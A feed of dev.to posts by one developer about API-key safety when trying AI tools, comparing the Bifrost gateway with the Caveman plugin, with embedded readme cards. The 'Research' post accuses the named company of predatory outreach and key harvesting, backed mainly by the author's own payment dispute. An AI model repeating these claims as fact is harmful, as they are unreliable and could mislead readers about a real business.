&lt;p&gt;A real tool can still be too much risk for my use case.&lt;/p&gt;

&lt;p&gt;A real company can still handle a collaboration in a way that makes me uncomfortable.&lt;/p&gt;

&lt;p&gt;A real gateway can still require more trust than I want to give it.&lt;/p&gt;
&lt;h2&gt;
  
  
  The API key question
&lt;/h2&gt;

&lt;p&gt;This is the main thing I care about now when I test AI tools:&lt;br&gt;
&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Does this tool need my real API key?
Where does it store that key?
Does it log prompts?
Does it log responses?
Does it log model calls?
Does it log tool calls?
Can plugins access request data?
Can MCP tools read files?
Can I scope access?
Can I revoke access fast?
Can I run it safely without production keys?
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;If the answer is unclear, I slow down.&lt;/p&gt;

&lt;p&gt;That does not mean I assume malware.&lt;/p&gt;

&lt;p&gt;It means I assume responsibility.&lt;/p&gt;

&lt;p&gt;My API keys are my billing risk.&lt;/p&gt;

&lt;p&gt;My project context is my work.&lt;/p&gt;

&lt;p&gt;My agent setup is my local environment.&lt;/p&gt;

&lt;p&gt;I am not handing that over casually anymore.&lt;/p&gt;
&lt;h2&gt;
  
  
  Bifrost’s security model still requires trust
&lt;/h2&gt;

&lt;p&gt;Bifrost’s own security guidance says to store provider keys securely, not commit them to version control, restrict access to the admin interface, use TLS if exposing it externally, and only use trusted plugins.&lt;/p&gt;

&lt;p&gt;That is all reasonable advice.&lt;/p&gt;

&lt;p&gt;But it also proves the point: this is sensitive infrastructure.&lt;/p&gt;

&lt;p&gt;A Bifrost setup is only as safe as the person configuring it.&lt;/p&gt;

&lt;p&gt;If someone runs it locally for a test and then exposes it incorrectly, stores keys badly, trusts the wrong plugin, or forgets to rotate keys, the risk is real.&lt;/p&gt;

&lt;p&gt;That is not just a Bifrost issue. That is an AI gateway issue.&lt;/p&gt;
&lt;h2&gt;
  
  
  Why Caveman felt different to me
&lt;/h2&gt;

&lt;p&gt;During this whole mess, I also looked at Caveman:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/JuliusBrussee" rel="noopener noreferrer"&gt;
        JuliusBrussee
      &lt;/a&gt; / &lt;a href="https://github.com/JuliusBrussee/caveman" rel="noopener noreferrer"&gt;
        caveman
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      🪨 why use many token when few token do trick — Claude Code skill that cuts 65% of tokens by talking like caveman
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;p&gt;
  &lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/9e9c879d0179e6b0b9dbe2cab5ddbb9dedaf7962e1680c51b89f6f2d4aaa412a/68747470733a2f2f656d2d636f6e74656e742e7a6f626a2e6e65742f736f757263652f6170706c652f3339312f726f636b5f31666161382e706e67"&gt;&lt;img src="https://camo.githubusercontent.com/9e9c879d0179e6b0b9dbe2cab5ddbb9dedaf7962e1680c51b89f6f2d4aaa412a/68747470733a2f2f656d2d636f6e74656e742e7a6f626a2e6e65742f736f757263652f6170706c652f3339312f726f636b5f31666161382e706e67" width="120"&gt;&lt;/a&gt;
&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;caveman&lt;/h1&gt;
&lt;/div&gt;

&lt;p&gt;
  &lt;strong&gt;why use many token when few do trick&lt;/strong&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman/stargazers" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/32b08ac2815b5494dc93ae4bc0701891d91bea36607726bcb8707d18a2fd20df/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f73746172732f4a756c697573427275737365652f636176656d616e3f7374796c653d666c617426636f6c6f723d79656c6c6f77" alt="Stars"&gt;&lt;/a&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman/commits/main" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/f5eb8afd216bc2fb6d672c4a0777dcb6b5ffe6f0dd5f068b03cd0a9131fc382f/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6173742d636f6d6d69742f4a756c697573427275737365652f636176656d616e3f7374796c653d666c6174" alt="Last Commit"&gt;&lt;/a&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/9253d0d1f2485c5a52bfd72e20d397dcb7b5d2f6bba41da517837ed8a16f833c/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f4a756c697573427275737365652f636176656d616e3f7374796c653d666c6174" alt="License"&gt;&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;a href="https://github.com/JuliusBrussee/caveman#before--after" rel="noopener noreferrer"&gt;Before/After&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#install" rel="noopener noreferrer"&gt;Install&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#intensity-levels" rel="noopener noreferrer"&gt;Levels&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#caveman-skills" rel="noopener noreferrer"&gt;Skills&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#benchmarks" rel="noopener noreferrer"&gt;Benchmarks&lt;/a&gt; •
  &lt;a href="https://github.com/JuliusBrussee/caveman#evals" rel="noopener noreferrer"&gt;Evals&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
  &lt;strong&gt;🪨 Caveman Ecosystem&lt;/strong&gt;  · 
  &lt;strong&gt;caveman&lt;/strong&gt; &lt;em&gt;talk less&lt;/em&gt; (you are here)  · 
  &lt;a href="https://github.com/JuliusBrussee/cavemem" rel="noopener noreferrer"&gt;cavemem&lt;/a&gt; &lt;em&gt;remember more&lt;/em&gt;  · 
  &lt;a href="https://github.com/JuliusBrussee/cavekit" rel="noopener noreferrer"&gt;cavekit&lt;/a&gt; &lt;em&gt;build better&lt;/em&gt;
&lt;/p&gt;




&lt;p&gt;A &lt;a href="https://docs.anthropic.com/en/docs/claude-code" rel="nofollow noopener noreferrer"&gt;Claude Code&lt;/a&gt; skill/plugin and Codex plugin that makes agent talk like caveman — cutting &lt;strong&gt;~75% of output tokens&lt;/strong&gt; while keeping full technical accuracy. Now with &lt;a href="https://github.com/JuliusBrussee/caveman#%E6%96%87%E8%A8%80%E6%96%87-wenyan-mode" rel="noopener noreferrer"&gt;文言文 mode&lt;/a&gt;, &lt;a href="https://github.com/JuliusBrussee/caveman#caveman-skills" rel="noopener noreferrer"&gt;terse commits / one-line reviews / lifetime stats&lt;/a&gt;, and a &lt;a href="https://github.com/JuliusBrussee/caveman#caveman-compress-receipts" rel="noopener noreferrer"&gt;compression tool&lt;/a&gt; that cuts &lt;strong&gt;~46% of input tokens&lt;/strong&gt; every session.&lt;/p&gt;

&lt;p&gt;Based on the viral observation that caveman-speak dramatically reduces LLM token usage without losing technical substance. So we made it a one-line install.&lt;/p&gt;

&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Before / After&lt;/h2&gt;
&lt;/div&gt;

&lt;p&gt;&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;br&gt;
&lt;tbody&gt;
&lt;br&gt;
&lt;tr&gt;
&lt;br&gt;
&lt;td width="50%"&gt;

&lt;div class="markdown-heading"&gt;
&lt;h3 class="heading-element"&gt;🗣️ Normal Claude (69 tokens)&lt;/h3&gt;
&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;"The reason your React component is re-rendering is likely because you're creating a new object reference on each render cycle. When you pass an inline object as a prop, React's shallow…&lt;/p&gt;
&lt;/blockquote&gt;


&lt;/td&gt;
&lt;br&gt;
&lt;/tr&gt;
&lt;br&gt;
&lt;/tbody&gt;
&lt;br&gt;
&lt;/table&gt;&lt;/div&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;br&gt;
  &lt;/div&gt;
&lt;br&gt;
  &lt;div class="gh-btn-container"&gt;&lt;a class="gh-btn" href="https://github.com/JuliusBrussee/caveman" rel="noopener noreferrer"&gt;View on GitHub&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;
&lt;/div&gt;
&lt;br&gt;


&lt;p&gt;Caveman is not the same type of tool.&lt;/p&gt;

&lt;p&gt;It is not an AI gateway.&lt;/p&gt;

&lt;p&gt;It is a Claude Code / Codex-style plugin that tries to reduce token usage by making the agent respond with fewer words.&lt;/p&gt;

&lt;p&gt;That is a completely different trust model.&lt;/p&gt;

&lt;p&gt;Bifrost says:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Route your model access through this gateway.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Caveman says:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Make the agent talk shorter.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those are not the same risk level.&lt;/p&gt;

&lt;p&gt;Caveman does not need to become the central routing layer for every provider I use. It does not need a gateway dashboard. It does not become the middleman for my model traffic.&lt;/p&gt;

&lt;p&gt;That is why, for my use case, Caveman feels safer and simpler.&lt;/p&gt;

&lt;p&gt;It solves a smaller problem, but it solves it without asking me to restructure my model access around a gateway.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bifrost vs Caveman is not a perfect comparison
&lt;/h2&gt;

&lt;p&gt;To be fair, Bifrost and Caveman are not direct competitors.&lt;/p&gt;

&lt;p&gt;Bifrost is a gateway.&lt;/p&gt;

&lt;p&gt;Caveman is a token-compression style/plugin.&lt;/p&gt;

&lt;p&gt;A better comparison is:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tool&lt;/th&gt;
&lt;th&gt;Main job&lt;/th&gt;
&lt;th&gt;Trust required&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Bifrost&lt;/td&gt;
&lt;td&gt;Route model/provider traffic and manage gateway-level controls&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Caveman&lt;/td&gt;
&lt;td&gt;Make agent responses shorter and compress some memory/context files&lt;/td&gt;
&lt;td&gt;Lower&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Direct provider calls&lt;/td&gt;
&lt;td&gt;Call model APIs without a gateway&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Local models only&lt;/td&gt;
&lt;td&gt;Avoid paid cloud keys for some workflows&lt;/td&gt;
&lt;td&gt;Lower, depending on setup&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So I am not saying Caveman replaces everything Bifrost does.&lt;/p&gt;

&lt;p&gt;It does not.&lt;/p&gt;

&lt;p&gt;I am saying Caveman fits my personal risk tolerance better right now.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I would do differently next time
&lt;/h2&gt;

&lt;p&gt;Next time a company asks me to test an AI gateway or agent tool, I am changing my process.&lt;/p&gt;

&lt;p&gt;I would use:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;throwaway API keys
low spend limits
temporary test projects
no private repos
no production data
no long-lived credentials
screenshots of every step
written payment terms before publishing
payment before publishing if the article is sponsored
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And if the tool needs gateway-level access, I would treat it like infrastructure, not like a casual npm package.&lt;/p&gt;

&lt;h2&gt;
  
  
  My current rule for AI tools
&lt;/h2&gt;

&lt;p&gt;My current rule is simple:&lt;/p&gt;

&lt;p&gt;If a tool touches API keys, model traffic, local files, MCP tools, or agent permissions, I do not treat it as “just a dev tool.”&lt;/p&gt;

&lt;p&gt;I treat it as a security decision.&lt;/p&gt;

&lt;p&gt;That might sound dramatic, but AI tooling has changed the normal risk model.&lt;/p&gt;

&lt;p&gt;A coding agent is not just autocomplete anymore. It can read files, call tools, make requests, use credentials, and change code.&lt;/p&gt;

&lt;p&gt;So any tool that sits near that workflow needs more scrutiny.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thought
&lt;/h2&gt;

&lt;p&gt;I am not writing this because I think every AI gateway is evil.&lt;/p&gt;

&lt;p&gt;I am writing this because the experience made me uncomfortable, and I think other independent developers should be careful.&lt;/p&gt;

&lt;p&gt;Bifrost may be useful for teams that need gateway-level routing, governance, budgets, and logs.&lt;/p&gt;

&lt;p&gt;But for me, after this collaboration, I do not trust the setup enough to keep routing real provider access through it.&lt;/p&gt;

&lt;p&gt;That may change someday.&lt;/p&gt;

&lt;p&gt;Right now, I would rather keep my AI workflow smaller, more local, and easier to inspect.&lt;/p&gt;

&lt;p&gt;Read the docs. Read the security files. Use scoped keys. Rotate credentials. Do not test tools with keys you cannot afford to lose.&lt;/p&gt;

&lt;p&gt;That is where I landed.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>mcp</category>
      <category>programming</category>
    </item>
    <item>
      <title>Research: Bifrost (Maxim AI / H3 Labs Inc.) – Why Its “Governance” Architecture Is a Single Point of Failure for Solo American Web Devs</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:41:00 +0000</pubDate>
      <link>https://forem.com/bradleymatera/research-bifrost-maxim-ai-h3-labs-inc-why-its-governance-architecture-is-a-single-point-2j43</link>
      <guid>https://forem.com/bradleymatera/research-bifrost-maxim-ai-h3-labs-inc-why-its-governance-architecture-is-a-single-point-2j43</guid>
      <description>&lt;p&gt;After my direct experience with Maxim AI’s paid-collaboration bait-and-switch, I dug deeper into Bifrost itself — not the marketing, but the actual architecture, company setup, GitHub reality, and how it forces solo devs into a dangerous trust model.&lt;/p&gt;

&lt;p&gt;Here is the verifiable research as of April 27, 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Company Structure: A Classic Delaware Shell Entity
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Legal entity&lt;/strong&gt;: H3 Labs Inc., registered in Delaware (the go-to state for startups that want minimal transparency and easy incorporation).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Operating name&lt;/strong&gt;: Maxim AI (getmaxim.ai).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Product&lt;/strong&gt;: Bifrost — open-source LLM/MCP gateway on GitHub under maximhq/bifrost.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is not unusual for tech startups, but it becomes relevant when the entire business model depends on you handing over your real API keys to their control plane. There is no public funding announcement, no major VC backers listed, and almost zero independent third-party audits of their security practices beyond their own SECURITY.md file.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. The Core Architectural Risk: Everything Routes Through One Control Plane
&lt;/h2&gt;

&lt;p&gt;Bifrost is explicitly designed as the single choke point for your entire AI stack:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You run &lt;code&gt;npx -y @maximhq/bifrost&lt;/code&gt; or the Docker image.&lt;/li&gt;
&lt;li&gt;You open the dashboard at &lt;code&gt;http://localhost:8080&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;You add &lt;strong&gt;real&lt;/strong&gt; provider keys (OpenAI, Anthropic, Ollama, etc.).&lt;/li&gt;
&lt;li&gt;You enable MCP servers, Code Mode, virtual keys, guardrails, etc.&lt;/li&gt;
&lt;li&gt;Every request from every agent now flows through &lt;strong&gt;their&lt;/strong&gt; gateway.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Their own marketing calls this “unified governance.” In practice for a solo dev it is a &lt;strong&gt;massive single point of failure&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;One compromised gateway = all your keys and traffic exposed.&lt;/li&gt;
&lt;li&gt;One “high priority internal issue” (as they told me) = your workflow is suddenly paused.&lt;/li&gt;
&lt;li&gt;All observability, logs, token usage, and tool definitions live in their database.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Compare that to true open-source alternatives that don’t insert themselves as the middleman.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Overhyped Benchmarks vs Real-World Solo Dev Use
&lt;/h2&gt;

&lt;p&gt;Bifrost heavily advertises:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;“50x faster than LiteLLM”&lt;/li&gt;
&lt;li&gt;“11 µs overhead at 5,000 RPS”&lt;/li&gt;
&lt;li&gt;“92% token cost reduction with Code Mode”&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These numbers come almost exclusively from &lt;strong&gt;their own benchmarks&lt;/strong&gt; and self-published blog posts. Independent long-term reviews from solo American web devs are almost non-existent. Most positive coverage is either from Maxim team members/affiliates or very early Product Hunt-style launches.&lt;/p&gt;

&lt;p&gt;For a solo dev running local agents or small-to-medium workloads, the extra complexity of virtual keys, Code Mode meta-tools, Starlark sandboxes, and dashboard config adds overhead that pure local tools simply don’t have.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. The Predatory Outreach Pattern to Indie Devs
&lt;/h2&gt;

&lt;p&gt;Research across X, LinkedIn, and dev.to shows a consistent tactic:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Aggressive DMs offering tiny paid blog posts ($50–$60).&lt;/li&gt;
&lt;li&gt;Requirement: install the gateway, route real keys, do full testing.&lt;/li&gt;
&lt;li&gt;Once the work is delivered → sudden “pause” or ghosting.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is not sustainable enterprise sales. This is &lt;strong&gt;free testing + key collection&lt;/strong&gt; at scale from the exact demographic that has the most valuable API credits (American indie hackers running daily paid agents).&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Caveman Is the Honest, Zero-Trust Alternative
&lt;/h2&gt;

&lt;p&gt;While Bifrost centralizes everything into one company-controlled plane, the real Caveman approach (&lt;a href="https://github.com/juliusbrussee/caveman" rel="noopener noreferrer"&gt;https://github.com/juliusbrussee/caveman&lt;/a&gt;) does the opposite:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;47k+ GitHub stars.&lt;/li&gt;
&lt;li&gt;Pure agent-level compression (no gateway, no dashboard, no key harvesting).&lt;/li&gt;
&lt;li&gt;65–75% token reduction by making the model “speak caveman” — no middleman required.&lt;/li&gt;
&lt;li&gt;Zero trust placed in any third-party company.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You keep your keys where they belong: in your own environment. No Delaware LLC gets to log every request or “pause” your workflow after you already did the testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bottom Line from the Research
&lt;/h2&gt;

&lt;p&gt;Bifrost is real, actively developed, and has impressive performance claims on paper. But for solo American web devs the risk/reward equation is terrible:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You give a small, low-transparency company full access to your keys and traffic.&lt;/li&gt;
&lt;li&gt;You get “governance” that can be paused at any moment.&lt;/li&gt;
&lt;li&gt;You take on architectural complexity that most indie workflows don’t need.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The pattern of reaching out to indie devs for cheap/free testing, combined with mandatory key routing, makes Bifrost a high-risk choice no matter how fast their benchmarks say it is.&lt;/p&gt;

&lt;p&gt;I already completed the full testing and article they originally paid me for. If they continue to dodge the agreed $60 payment, I will keep publishing the full research.&lt;/p&gt;

&lt;p&gt;American web devs deserve better than becoming the free key-harvesting and testing farm for every new “enterprise governance” gateway.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Caveman mode remains the only honest path.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Stay safe out there.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>apigateway</category>
      <category>mcp</category>
    </item>
    <item>
      <title>Protect Your API Keys: Evaluating AI Tools Like Bifrost and Caveman</title>
      <dc:creator>Bradley Matera</dc:creator>
      <pubDate>Wed, 29 Apr 2026 22:40:45 +0000</pubDate>
      <link>https://forem.com/bradleymatera/protect-your-api-keys-evaluating-ai-tools-like-bifrost-and-caveman-2op2</link>
      <guid>https://forem.com/bradleymatera/protect-your-api-keys-evaluating-ai-tools-like-bifrost-and-caveman-2op2</guid>
      <description>&lt;h2&gt;
  
  
  A practical guide on safeguarding API keys when using third-party AI tools, with a look at how Caveman and Bifrost approach security and where they fit into a developer’s stack.
&lt;/h2&gt;

&lt;p&gt;We live in a world of plugins, extensions, and gateways promising to make AI agents smarter, faster, and cheaper.&lt;/p&gt;

&lt;p&gt;That sounds good until you remember what these tools sometimes need access to.&lt;/p&gt;

&lt;p&gt;API keys. Local files. Project notes. CLI sessions. Model provider configs. Sometimes even MCP tools that can read or write inside a repo.&lt;/p&gt;

&lt;p&gt;That does not automatically mean a tool is bad. But it does mean you should slow down before pasting keys into anything you just found online.&lt;/p&gt;

&lt;p&gt;This post is not me accusing anyone of stealing keys. It is about the bigger problem: developers are being asked to try new AI tools constantly, and a lot of those tools sit close to secrets.&lt;/p&gt;

&lt;p&gt;So I wanted to look at this from a practical web developer point of view:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What should I check before trusting an AI tool?&lt;/li&gt;
&lt;li&gt;What does a tool actually need access to?&lt;/li&gt;
&lt;li&gt;What security notes do the maintainers provide?&lt;/li&gt;
&lt;li&gt;Where do Bifrost and Caveman fit?&lt;/li&gt;
&lt;li&gt;Which one solves what problem?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Repository links:&lt;/p&gt;


&lt;div class="ltag-github-readme-tag"&gt;
  &lt;div class="readme-overview"&gt;
    &lt;h2&gt;
      &lt;img src="https://assets.dev.to/assets/github-logo-5a155e1f9a670af7944dd5e12375bc76ed542ea80224905ecaf878b9157cdefc.svg" alt="GitHub logo"&gt;
      &lt;a href="https://github.com/maximhq" rel="noopener noreferrer"&gt;
        maximhq
      &lt;/a&gt; / &lt;a href="https://github.com/maximhq/bifrost" rel="noopener noreferrer"&gt;
        bifrost
      &lt;/a&gt;
    &lt;/h2&gt;
    &lt;h3&gt;
      Fastest enterprise AI gateway (50x faster than LiteLLM) with adaptive load balancer, cluster mode, guardrails, 1000+ models support &amp;amp; &amp;lt;100 µs overhead at 5k RPS.
    &lt;/h3&gt;
  &lt;/div&gt;
  &lt;div class="ltag-github-body"&gt;
    
&lt;div id="readme" class="md"&gt;
&lt;div class="markdown-heading"&gt;
&lt;h1 class="heading-element"&gt;Bifrost AI Gateway&lt;/h1&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a href="https://goreportcard.com/report/github.com/maximhq/bifrost/core" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/7f7e70df9fdaaf4f485f59ca6bc0b5cbbf134d03dd5721da4e31f90f618fc304/68747470733a2f2f676f7265706f7274636172642e636f6d2f62616467652f6769746875622e636f6d2f6d6178696d68712f626966726f73742f636f7265" alt="Go Report Card"&gt;&lt;/a&gt;
&lt;a href="https://discord.gg/exN5KAydbU" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/282b7719f04b28f5959f5e1e17aee806d65f8eea3b862b57af350df0ab57be6f/68747470733a2f2f646362616467652e6c696d65732e70696e6b2f6170692f7365727665722f68747470733a2f2f646973636f72642e67672f65784e354b41796462553f7374796c653d666c6174" alt="Discord badge"&gt;&lt;/a&gt;
&lt;a href="https://codecov.io/gh/maximhq/bifrost" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/8bc2db302c566210d14c09b278639a3f63f07def5fc635a8869e59c996b3100f/68747470733a2f2f636f6465636f762e696f2f67682f6d6178696d68712f626966726f73742f6272616e63682f6d61696e2f67726170682f62616467652e737667" alt="codecov"&gt;&lt;/a&gt;
&lt;a rel="noopener noreferrer nofollow" href="https://camo.githubusercontent.com/b0899925aadfed8626116707178a4015d8cf4aaa0b80acb632cb4782c6dc7272/68747470733a2f2f696d672e736869656c64732e696f2f646f636b65722f70756c6c732f6d6178696d68712f626966726f7374"&gt;&lt;img src="https://camo.githubusercontent.com/b0899925aadfed8626116707178a4015d8cf4aaa0b80acb632cb4782c6dc7272/68747470733a2f2f696d672e736869656c64732e696f2f646f636b65722f70756c6c732f6d6178696d68712f626966726f7374" alt="Docker Pulls"&gt;&lt;/a&gt;
&lt;a href="https://app.getpostman.com/run-collection/31642484-2ba0e658-4dcd-49f4-845a-0c7ed745b916?action=collection%2Ffork&amp;amp;source=rip_markdown&amp;amp;collection-url=entityId%3D31642484-2ba0e658-4dcd-49f4-845a-0c7ed745b916%26entityType%3Dcollection%26workspaceId%3D63e853c8-9aec-477f-909c-7f02f543150e" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/82ccefddb001e2caf9d399f1153fdda561cf3da341bb270e18644d516906bc64/68747470733a2f2f72756e2e7073746d6e2e696f2f627574746f6e2e737667" alt="Run In Postman"&gt;&lt;/a&gt;
&lt;a href="https://artifacthub.io/packages/search?repo=bifrost" rel="nofollow noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/a6a3c734d6bd57fa8e1d508ac0cdba555bdbcd9191b29b32cf37a964b86b9c67/68747470733a2f2f696d672e736869656c64732e696f2f656e64706f696e743f75726c3d68747470733a2f2f61727469666163746875622e696f2f62616467652f7265706f7369746f72792f626966726f7374" alt="Artifact Hub"&gt;&lt;/a&gt;
&lt;a href="https://github.com/maximhq/bifrost/LICENSE" rel="noopener noreferrer"&gt;&lt;img src="https://camo.githubusercontent.com/3cb44c15a532770a066ba8e61bf11506ad5400e5c61d48f6b639101e442bee79/68747470733a2f2f696d672e736869656c64732e696f2f6769746875622f6c6963656e73652f6d6178696d68712f626966726f7374" alt="License"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;The fastest way to build AI applications that never go down&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;Bifrost is a high-performance AI gateway that unifies access to 15+ providers (OpenAI, Anthropic, AWS Bedrock, Google Vertex, and more) through a single OpenAI-compatible API. Deploy in seconds with zero configuration and get automatic failover, load balancing, semantic caching, and enterprise-grade features.&lt;/p&gt;
&lt;div class="markdown-heading"&gt;
&lt;h2 class="heading-element"&gt;Quick Start&lt;/h2&gt;
&lt;/div&gt;
&lt;p&gt;&lt;a rel="noopener noreferrer" href="https://github.com/maximhq/bifrost/./docs/media/getting-started.png"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fraw.githubusercontent.com%2Fmaximhq%2Fbifrost%2FHEAD%2F.%2Fdocs%2Fmedia%2Fgetting-started.png" alt="Get started"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Go from zero to production-ready AI gateway in under a minute.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Step 1:&lt;/strong&gt; Start Bifrost Gateway&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Install and run locally&lt;/span&gt;
npx -y @maximhq/bifrost

&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Or use Docker&lt;/span&gt;
docker run -p 8080:8080 maximhq/bifrost&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Step 2:&lt;/strong&gt; Configure via Web UI&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;&lt;span class="pl-c"&gt;&lt;span class="pl-c"&gt;#&lt;/span&gt; Open the built-in web interface&lt;/span&gt;
open http://localhost:8080&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Step 3:&lt;/strong&gt; Make your first API call&lt;/p&gt;
&lt;div class="highlight highlight-source-shell notranslate position-relative overflow-auto js-code-highlight"&gt;
&lt;pre&gt;curl -X POST http://localhost:8080/v1/chat/completions \
  -H &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;"&lt;/span&gt;Content-Type: application/json&lt;span class="pl-pds"&gt;"&lt;/span&gt;&lt;/span&gt; \
  -d &lt;span class="pl-s"&gt;&lt;span class="pl-pds"&gt;'&lt;/span&gt;{&lt;/span&gt;
&lt;span class="pl-s"&gt;    "model": "openai/gpt-4o-mini",&lt;/span&gt;
&lt;span class="pl-s"&gt;    "messages": [{"role": "user", "content": "Hello, Bifrost!"}]&lt;/span&gt;
&lt;span class="pl-s"&gt;  }&lt;span class="pl-pds"&gt;'&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;That's it!&lt;/strong&gt; Your AI gateway is running with a web interface for visual configuration…&lt;/p&gt;
&lt;/div&gt;
  &lt;/div&gt;
